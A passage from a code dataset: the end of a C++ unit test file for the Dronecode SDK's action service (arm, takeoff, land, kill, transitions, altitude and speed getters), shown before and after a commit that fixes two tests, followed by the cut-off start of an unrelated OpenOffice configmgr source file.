EXPECT_CALL(action, arm()).Times(1);\n\n actionService.Arm(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, disarmResultIsTranslatedCorrectly)\n{\n const auto rpc_result = disarmAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string disarmAndGetTranslatedResult(dronecode_sdk::ActionResult disarm_result)\n{\n MockAction action;\n ON_CALL(action, disarm()).WillByDefault(Return(disarm_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::DisarmResponse response;\n\n actionService.Disarm(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, disarmsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, disarm()).Times(1);\n\n actionService.Disarm(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, takeoffResultIsTranslatedCorrectly)\n{\n const auto rpc_result = takeoffAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string takeoffAndGetTranslatedResult(const dronecode_sdk::ActionResult takeoff_result)\n{\n MockAction action;\n ON_CALL(action, takeoff()).WillByDefault(Return(takeoff_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::TakeoffResponse response;\n\n actionService.Takeoff(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, takeoffEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, takeoff()).Times(1);\n\n actionService.Takeoff(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, landResultIsTranslatedCorrectly)\n{\n const auto rpc_result = landAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string landAndGetTranslatedResult(const dronecode_sdk::ActionResult land_result)\n{\n MockAction action;\n ON_CALL(action, land()).WillByDefault(Return(land_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::LandResponse response;\n\n actionService.Land(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, landsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, land()).Times(1);\n\n actionService.Land(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, killResultIsTranslatedCorrectly)\n{\n const auto rpc_result = killAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string killAndGetTranslatedResult(const dronecode_sdk::ActionResult kill_result)\n{\n MockAction action;\n ON_CALL(action, kill()).WillByDefault(Return(kill_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::KillResponse response;\n\n actionService.Kill(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, killsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, kill()).Times(1);\n\n actionService.Kill(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, rtlResultIsTranslatedCorrectly)\n{\n const auto rpc_result = returnToLaunchAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string returnToLaunchAndGetTranslatedResult(const dronecode_sdk::ActionResult rtl_result)\n{\n MockAction action;\n ON_CALL(action, return_to_launch()).WillByDefault(Return(rtl_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::ReturnToLaunchResponse response;\n\n actionService.ReturnToLaunch(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, rtlsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, return_to_launch()).Times(1);\n\n actionService.ReturnToLaunch(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, transition2fwResultIsTranslatedCorrectly)\n{\n const auto rpc_result = transitionToFWAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string\ntransitionToFWAndGetTranslatedResult(const dronecode_sdk::ActionResult transition_to_fw_result)\n{\n MockAction action;\n ON_CALL(action, transition_to_fixedwing()).WillByDefault(Return(transition_to_fw_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::TransitionToFixedWingResponse response;\n\n actionService.TransitionToFixedWing(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, transitions2fwEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, transition_to_fixedwing()).Times(1);\n\n actionService.TransitionToFixedWing(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, transition2mcResultIsTranslatedCorrectly)\n{\n const auto rpc_result = transitionToMCAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string\ntransitionToMCAndGetTranslatedResult(const dronecode_sdk::ActionResult transition_to_mc_result)\n{\n MockAction action;\n ON_CALL(action, transition_to_multicopter()).WillByDefault(Return(transition_to_mc_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::TransitionToMulticopterResponse response;\n\n actionService.TransitionToMulticopter(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, transitions2mcEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, transition_to_multicopter()).Times(1);\n\n actionService.TransitionToMulticopter(nullptr, nullptr, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, getTakeoffAltitudeCallsGetter)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, get_takeoff_altitude()).Times(1);\n dronecode_sdk::rpc::action::GetTakeoffAltitudeResponse response;\n\n actionService.GetTakeoffAltitude(nullptr, nullptr, &response);\n}\n\nTEST_P(ActionServiceImplTest, getsCorrectTakeoffAltitude)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n const auto expected_pair =\n std::make_pair<>(dronecode_sdk::ActionResult::SUCCESS, ARBITRARY_ALTITUDE);\n ON_CALL(action, get_takeoff_altitude()).WillByDefault(Return(expected_pair));\n dronecode_sdk::rpc::action::GetTakeoffAltitudeResponse response;\n\n actionService.GetTakeoffAltitude(nullptr, nullptr, &response);\n\n EXPECT_EQ(GetParam().first, ActionResult::Result_Name(response.action_result().result()));\n EXPECT_EQ(expected_pair.second, response.altitude());\n}\n\nTEST_F(ActionServiceImplTest, getTakeoffAltitudeDoesNotCrashWithNullResponse)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n\n actionService.GetTakeoffAltitude(nullptr, nullptr, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, setTakeoffAltitudeDoesNotCrashWithNullRequest)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n\n actionService.SetTakeoffAltitude(nullptr, nullptr, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, setTakeoffAltitudeCallsSetter)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, set_takeoff_altitude(_)).Times(1);\n dronecode_sdk::rpc::action::SetTakeoffAltitudeRequest request;\n\n actionService.SetTakeoffAltitude(nullptr, &request, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, setTakeoffAltitudeSetsRightValue)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n float expected_altitude = ARBITRARY_ALTITUDE;\n EXPECT_CALL(action, set_takeoff_altitude(expected_altitude)).Times(1);\n dronecode_sdk::rpc::action::SetTakeoffAltitudeRequest request;\n request.set_altitude(expected_altitude);\n\n actionService.SetTakeoffAltitude(nullptr, &request, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, getMaxSpeedDoesNotCrashWithNullResponse)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n\n actionService.GetMaximumSpeed(nullptr, nullptr, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, getMaxSpeedCallsGetter)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, get_max_speed()).Times(1);\n dronecode_sdk::rpc::action::GetMaximumSpeedResponse response;\n\n actionService.GetMaximumSpeed(nullptr, nullptr, &response);\n}\n\nTEST_P(ActionServiceImplTest, getMaxSpeedGetsRightValue)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n const auto expected_pair =\n std::make_pair<>(dronecode_sdk::ActionResult::SUCCESS, ARBITRARY_SPEED);\n ON_CALL(action, get_max_speed()).WillByDefault(Return(expected_pair));\n dronecode_sdk::rpc::action::GetMaximumSpeedResponse response;\n\n actionService.GetMaximumSpeed(nullptr, nullptr, &response);\n\n EXPECT_EQ(GetParam().first, ActionResult::Result_Name(response.action_result().result()));\n EXPECT_EQ(expected_pair.second, response.speed());\n}\n\nTEST_F(ActionServiceImplTest, setMaxSpeedDoesNotCrashWithNullRequest)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::SetMaximumSpeedResponse response;\n\n actionService.SetMaximumSpeed(nullptr, nullptr, &response);\n}\n\nTEST_F(ActionServiceImplTest, setMaxSpeedDoesNotCrashWithNullResponse)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::SetMaximumSpeedRequest request;\n request.set_speed(ARBITRARY_SPEED);\n\n actionService.SetMaximumSpeed(nullptr, &request, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, setMaxSpeedCallsSetter)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, set_max_speed(_)).Times(1);\n dronecode_sdk::rpc::action::SetMaximumSpeedRequest request;\n\n actionService.SetMaximumSpeed(nullptr, &request, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, setMaxSpeedSetsRightValue)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n const auto expected_speed = ARBITRARY_SPEED;\n EXPECT_CALL(action, set_max_speed(expected_speed)).Times(1);\n dronecode_sdk::rpc::action::SetMaximumSpeedRequest request;\n request.set_speed(expected_speed);\n\n actionService.SetMaximumSpeed(nullptr, &request, nullptr);\n}\n\nINSTANTIATE_TEST_CASE_P(ActionResultCorrespondences,\n ActionServiceImplTest,\n ::testing::ValuesIn(generateInputPairs()));\n\nstd::vector<InputPair> generateInputPairs()\n{\n std::vector<InputPair> input_pairs;\n input_pairs.push_back(std::make_pair(\"SUCCESS\", dronecode_sdk::ActionResult::SUCCESS));\n input_pairs.push_back(std::make_pair(\"NO_SYSTEM\", dronecode_sdk::ActionResult::NO_SYSTEM));\n input_pairs.push_back(\n std::make_pair(\"CONNECTION_ERROR\", dronecode_sdk::ActionResult::CONNECTION_ERROR));\n input_pairs.push_back(std::make_pair(\"BUSY\", dronecode_sdk::ActionResult::BUSY));\n input_pairs.push_back(\n std::make_pair(\"COMMAND_DENIED\", dronecode_sdk::ActionResult::COMMAND_DENIED));\n input_pairs.push_back(\n std::make_pair(\"COMMAND_DENIED_LANDED_STATE_UNKNOWN\",\n dronecode_sdk::ActionResult::COMMAND_DENIED_LANDED_STATE_UNKNOWN));\n input_pairs.push_back(std::make_pair(\"COMMAND_DENIED_NOT_LANDED\",\n dronecode_sdk::ActionResult::COMMAND_DENIED_NOT_LANDED));\n input_pairs.push_back(std::make_pair(\"TIMEOUT\", dronecode_sdk::ActionResult::TIMEOUT));\n input_pairs.push_back(\n std::make_pair(\"VTOL_TRANSITION_SUPPORT_UNKNOWN\",\n dronecode_sdk::ActionResult::VTOL_TRANSITION_SUPPORT_UNKNOWN));\n input_pairs.push_back(std::make_pair(\"NO_VTOL_TRANSITION_SUPPORT\",\n dronecode_sdk::ActionResult::NO_VTOL_TRANSITION_SUPPORT));\n input_pairs.push_back(std::make_pair(\"UNKNOWN\", dronecode_sdk::ActionResult::UNKNOWN));\n\n return input_pairs;\n}\n\n} \/\/ namespace\n<commit_msg>backend: fix getsCorrectTakeoffAltitude and getMaxSpeedGetsRightValue unit tests<commit_after>#include <gmock\/gmock.h>\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"action\/action_service_impl.h\"\n#include \"action\/mocks\/action_mock.h\"\n\nnamespace {\n\nusing testing::_;\nusing testing::NiceMock;\nusing testing::Return;\n\nusing MockAction = NiceMock<dronecode_sdk::testing::MockAction>;\nusing ActionServiceImpl = dronecode_sdk::backend::ActionServiceImpl<MockAction>;\n\nusing ActionResult = dronecode_sdk::rpc::action::ActionResult;\nusing InputPair = std::pair<std::string, dronecode_sdk::ActionResult>;\n\nstatic constexpr float ARBITRARY_ALTITUDE = 42.42f;\nstatic constexpr float ARBITRARY_SPEED = 8.24f;\n\nstd::vector<InputPair> generateInputPairs();\nstd::string armAndGetTranslatedResult(dronecode_sdk::ActionResult arm_result);\nstd::string disarmAndGetTranslatedResult(dronecode_sdk::ActionResult disarm_result);\nstd::string takeoffAndGetTranslatedResult(dronecode_sdk::ActionResult takeoff_result);\nstd::string landAndGetTranslatedResult(dronecode_sdk::ActionResult land_result);\nstd::string killAndGetTranslatedResult(dronecode_sdk::ActionResult kill_result);\nstd::string returnToLaunchAndGetTranslatedResult(dronecode_sdk::ActionResult rtl_result);\nstd::string\ntransitionToFWAndGetTranslatedResult(const dronecode_sdk::ActionResult transition_to_fw_result);\nstd::string\ntransitionToMCAndGetTranslatedResult(const dronecode_sdk::ActionResult transition_to_fw_result);\n\nclass ActionServiceImplTest : public ::testing::TestWithParam<InputPair> {};\n\nTEST_P(ActionServiceImplTest, armResultIsTranslatedCorrectly)\n{\n const auto rpc_result = armAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string armAndGetTranslatedResult(const dronecode_sdk::ActionResult arm_result)\n{\n MockAction action;\n ON_CALL(action, arm()).WillByDefault(Return(arm_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::ArmResponse response;\n\n actionService.Arm(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, armsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, arm()).Times(1);\n\n actionService.Arm(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, disarmResultIsTranslatedCorrectly)\n{\n const auto rpc_result = disarmAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string disarmAndGetTranslatedResult(dronecode_sdk::ActionResult disarm_result)\n{\n MockAction action;\n ON_CALL(action, disarm()).WillByDefault(Return(disarm_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::DisarmResponse response;\n\n actionService.Disarm(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, disarmsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, disarm()).Times(1);\n\n actionService.Disarm(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, takeoffResultIsTranslatedCorrectly)\n{\n const auto rpc_result = takeoffAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string takeoffAndGetTranslatedResult(const dronecode_sdk::ActionResult takeoff_result)\n{\n MockAction action;\n ON_CALL(action, takeoff()).WillByDefault(Return(takeoff_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::TakeoffResponse response;\n\n actionService.Takeoff(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, takeoffEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, takeoff()).Times(1);\n\n actionService.Takeoff(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, landResultIsTranslatedCorrectly)\n{\n const auto rpc_result = landAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string landAndGetTranslatedResult(const dronecode_sdk::ActionResult land_result)\n{\n MockAction action;\n ON_CALL(action, land()).WillByDefault(Return(land_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::LandResponse response;\n\n actionService.Land(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, landsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, land()).Times(1);\n\n actionService.Land(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, killResultIsTranslatedCorrectly)\n{\n const auto rpc_result = killAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string killAndGetTranslatedResult(const dronecode_sdk::ActionResult kill_result)\n{\n MockAction action;\n ON_CALL(action, kill()).WillByDefault(Return(kill_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::KillResponse response;\n\n actionService.Kill(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, killsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, kill()).Times(1);\n\n actionService.Kill(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, rtlResultIsTranslatedCorrectly)\n{\n const auto rpc_result = returnToLaunchAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string returnToLaunchAndGetTranslatedResult(const dronecode_sdk::ActionResult rtl_result)\n{\n MockAction action;\n ON_CALL(action, return_to_launch()).WillByDefault(Return(rtl_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::ReturnToLaunchResponse response;\n\n actionService.ReturnToLaunch(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, rtlsEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, return_to_launch()).Times(1);\n\n actionService.ReturnToLaunch(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, transition2fwResultIsTranslatedCorrectly)\n{\n const auto rpc_result = transitionToFWAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string\ntransitionToFWAndGetTranslatedResult(const dronecode_sdk::ActionResult transition_to_fw_result)\n{\n MockAction action;\n ON_CALL(action, transition_to_fixedwing()).WillByDefault(Return(transition_to_fw_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::TransitionToFixedWingResponse response;\n\n actionService.TransitionToFixedWing(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, transitions2fwEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, transition_to_fixedwing()).Times(1);\n\n actionService.TransitionToFixedWing(nullptr, nullptr, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, transition2mcResultIsTranslatedCorrectly)\n{\n const auto rpc_result = transitionToMCAndGetTranslatedResult(GetParam().second);\n EXPECT_EQ(rpc_result, GetParam().first);\n}\n\nstd::string\ntransitionToMCAndGetTranslatedResult(const dronecode_sdk::ActionResult transition_to_mc_result)\n{\n MockAction action;\n ON_CALL(action, transition_to_multicopter()).WillByDefault(Return(transition_to_mc_result));\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::TransitionToMulticopterResponse response;\n\n actionService.TransitionToMulticopter(nullptr, nullptr, &response);\n\n return ActionResult::Result_Name(response.action_result().result());\n}\n\nTEST_F(ActionServiceImplTest, transitions2mcEvenWhenArgsAreNull)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, transition_to_multicopter()).Times(1);\n\n actionService.TransitionToMulticopter(nullptr, nullptr, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, getTakeoffAltitudeCallsGetter)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, get_takeoff_altitude()).Times(1);\n dronecode_sdk::rpc::action::GetTakeoffAltitudeResponse response;\n\n actionService.GetTakeoffAltitude(nullptr, nullptr, &response);\n}\n\nTEST_P(ActionServiceImplTest, getsCorrectTakeoffAltitude)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n const auto expected_pair = std::make_pair<>(GetParam().second, ARBITRARY_ALTITUDE);\n ON_CALL(action, get_takeoff_altitude()).WillByDefault(Return(expected_pair));\n dronecode_sdk::rpc::action::GetTakeoffAltitudeResponse response;\n\n actionService.GetTakeoffAltitude(nullptr, nullptr, &response);\n\n EXPECT_EQ(GetParam().first, ActionResult::Result_Name(response.action_result().result()));\n EXPECT_EQ(expected_pair.second, response.altitude());\n}\n\nTEST_F(ActionServiceImplTest, getTakeoffAltitudeDoesNotCrashWithNullResponse)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n\n actionService.GetTakeoffAltitude(nullptr, nullptr, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, setTakeoffAltitudeDoesNotCrashWithNullRequest)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n\n actionService.SetTakeoffAltitude(nullptr, nullptr, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, setTakeoffAltitudeCallsSetter)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, set_takeoff_altitude(_)).Times(1);\n dronecode_sdk::rpc::action::SetTakeoffAltitudeRequest request;\n\n actionService.SetTakeoffAltitude(nullptr, &request, nullptr);\n}\n\nTEST_P(ActionServiceImplTest, setTakeoffAltitudeSetsRightValue)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n float expected_altitude = ARBITRARY_ALTITUDE;\n EXPECT_CALL(action, set_takeoff_altitude(expected_altitude)).Times(1);\n dronecode_sdk::rpc::action::SetTakeoffAltitudeRequest request;\n request.set_altitude(expected_altitude);\n\n actionService.SetTakeoffAltitude(nullptr, &request, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, getMaxSpeedDoesNotCrashWithNullResponse)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n\n actionService.GetMaximumSpeed(nullptr, nullptr, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, getMaxSpeedCallsGetter)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, get_max_speed()).Times(1);\n dronecode_sdk::rpc::action::GetMaximumSpeedResponse response;\n\n actionService.GetMaximumSpeed(nullptr, nullptr, &response);\n}\n\nTEST_P(ActionServiceImplTest, getMaxSpeedGetsRightValue)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n const auto expected_pair = std::make_pair<>(GetParam().second, ARBITRARY_SPEED);\n ON_CALL(action, get_max_speed()).WillByDefault(Return(expected_pair));\n dronecode_sdk::rpc::action::GetMaximumSpeedResponse response;\n\n actionService.GetMaximumSpeed(nullptr, nullptr, &response);\n\n EXPECT_EQ(GetParam().first, ActionResult::Result_Name(response.action_result().result()));\n EXPECT_EQ(expected_pair.second, response.speed());\n}\n\nTEST_F(ActionServiceImplTest, setMaxSpeedDoesNotCrashWithNullRequest)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::SetMaximumSpeedResponse response;\n\n actionService.SetMaximumSpeed(nullptr, nullptr, &response);\n}\n\nTEST_F(ActionServiceImplTest, setMaxSpeedDoesNotCrashWithNullResponse)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n dronecode_sdk::rpc::action::SetMaximumSpeedRequest request;\n request.set_speed(ARBITRARY_SPEED);\n\n actionService.SetMaximumSpeed(nullptr, &request, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, setMaxSpeedCallsSetter)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n EXPECT_CALL(action, set_max_speed(_)).Times(1);\n dronecode_sdk::rpc::action::SetMaximumSpeedRequest request;\n\n actionService.SetMaximumSpeed(nullptr, &request, nullptr);\n}\n\nTEST_F(ActionServiceImplTest, setMaxSpeedSetsRightValue)\n{\n MockAction action;\n ActionServiceImpl actionService(action);\n const auto expected_speed = ARBITRARY_SPEED;\n EXPECT_CALL(action, set_max_speed(expected_speed)).Times(1);\n dronecode_sdk::rpc::action::SetMaximumSpeedRequest request;\n request.set_speed(expected_speed);\n\n actionService.SetMaximumSpeed(nullptr, &request, nullptr);\n}\n\nINSTANTIATE_TEST_CASE_P(ActionResultCorrespondences,\n ActionServiceImplTest,\n ::testing::ValuesIn(generateInputPairs()));\n\nstd::vector<InputPair> generateInputPairs()\n{\n std::vector<InputPair> input_pairs;\n input_pairs.push_back(std::make_pair(\"SUCCESS\", dronecode_sdk::ActionResult::SUCCESS));\n input_pairs.push_back(std::make_pair(\"NO_SYSTEM\", dronecode_sdk::ActionResult::NO_SYSTEM));\n input_pairs.push_back(\n std::make_pair(\"CONNECTION_ERROR\", dronecode_sdk::ActionResult::CONNECTION_ERROR));\n input_pairs.push_back(std::make_pair(\"BUSY\", dronecode_sdk::ActionResult::BUSY));\n input_pairs.push_back(\n std::make_pair(\"COMMAND_DENIED\", dronecode_sdk::ActionResult::COMMAND_DENIED));\n input_pairs.push_back(\n std::make_pair(\"COMMAND_DENIED_LANDED_STATE_UNKNOWN\",\n dronecode_sdk::ActionResult::COMMAND_DENIED_LANDED_STATE_UNKNOWN));\n input_pairs.push_back(std::make_pair(\"COMMAND_DENIED_NOT_LANDED\",\n dronecode_sdk::ActionResult::COMMAND_DENIED_NOT_LANDED));\n input_pairs.push_back(std::make_pair(\"TIMEOUT\", dronecode_sdk::ActionResult::TIMEOUT));\n input_pairs.push_back(\n std::make_pair(\"VTOL_TRANSITION_SUPPORT_UNKNOWN\",\n dronecode_sdk::ActionResult::VTOL_TRANSITION_SUPPORT_UNKNOWN));\n input_pairs.push_back(std::make_pair(\"NO_VTOL_TRANSITION_SUPPORT\",\n dronecode_sdk::ActionResult::NO_VTOL_TRANSITION_SUPPORT));\n input_pairs.push_back(std::make_pair(\"UNKNOWN\", dronecode_sdk::ActionResult::UNKNOWN));\n\n return input_pairs;\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*************************************************************************\n*\n* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n*\n* Copyright 2000, 2010 Oracle and\/or its affiliates.\n*\n* OpenOffice.org - a multi-platform office productivity suite\n*\n* This file is part of OpenOffice.org.\n*\n* OpenOffice.org is free software: you can redistribute it and\/or modify\n* it under the terms of the GNU Lesser General Public License version 3\n* only, as published by the Free Software Foundation.\n*\n* OpenOffice.org is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU Lesser General Public License version 3 for more details\n* (a copy is included in the LICENSE file that accompanied this code).\n*\n* You should have received a copy of the GNU Lesser General Public License\n* version 3 along with OpenOffice.org. If not, see\n* <http:\/\/www.openoffice.org\/license.html>\n* for a copy of the LGPLv3 License.\n*\n************************************************************************\/\n\n#include \"precompiled_configmgr.hxx\"\n#include \"sal\/config.h\"\n\n#include <vector>\n\n#include \"com\/sun\/star\/container\/XChild.hpp\"\n#include \"com\/sun\/star\/lang\/NoSupportException.hpp\"\n#include \"com\/sun\/star\/lang\/XUnoTunnel.hpp\"\n#include \"com\/sun\/star\/uno\/Any.hxx\"\n#include \"com\/sun\/star\/uno\/Reference.hxx\"\n#include \"com\/sun\/star\/uno\/RuntimeException.hpp\"\n#include \"com\/sun\/star\/uno\/Sequence.hxx\"\n#include \"com\/sun\/star\/uno\/Type.hxx\"\n#include \"com\/sun\/star\/uno\/XInterface.hpp\"\n#include \"cppu\/unotype.hxx\"\n#include \"cppuhelper\/queryinterface.hxx\"\n#include \"cppuhelper\/weak.hxx\"\n#include \"osl\/diagnose.h\"\n#include \"osl\/mutex.hxx\"\n#include \"rtl\/ref.hxx\"\n#include \"rtl\/string.h\"\n#include \"rtl\/ustrbuf.hxx\"\n#include \"rtl\/ustring.h\"\n#include \"rtl\/ustring.hxx\"\n#include \"rtl\/uuid.h\"\n#include \"sal\/types.h\"\n\n#include \"access.hxx\"\n#include \"childaccess.hxx\"\n#include \"components.hxx\"\n#include \"data.hxx\"\n#include \"groupnode.hxx\"\n#include \"localizedpropertynode.hxx\"\n#include \"localizedvaluenode.hxx\"\n#include \"lock.hxx\"\n#include \"modifications.hxx\"\n#include \"node.hxx\"\n#include \"path.hxx\"\n#include \"propertynode.hxx\"\n#include \"rootaccess.hxx\"\n#include \"setnode.hxx\"\n#include \"type.hxx\"\n\nnamespace configmgr {\n\nnamespace {\n\nnamespace css = com::sun::star;\n\n}\n\ncss::uno::Sequence< sal_Int8 > ChildAccess::getTunnelId() {\n static css::uno::Sequence< sal_Int8 > id;\n if (id.getLength() == 0) {\n css::uno::Sequence< sal_Int8 > uuid(16);\n rtl_createUuid(\n 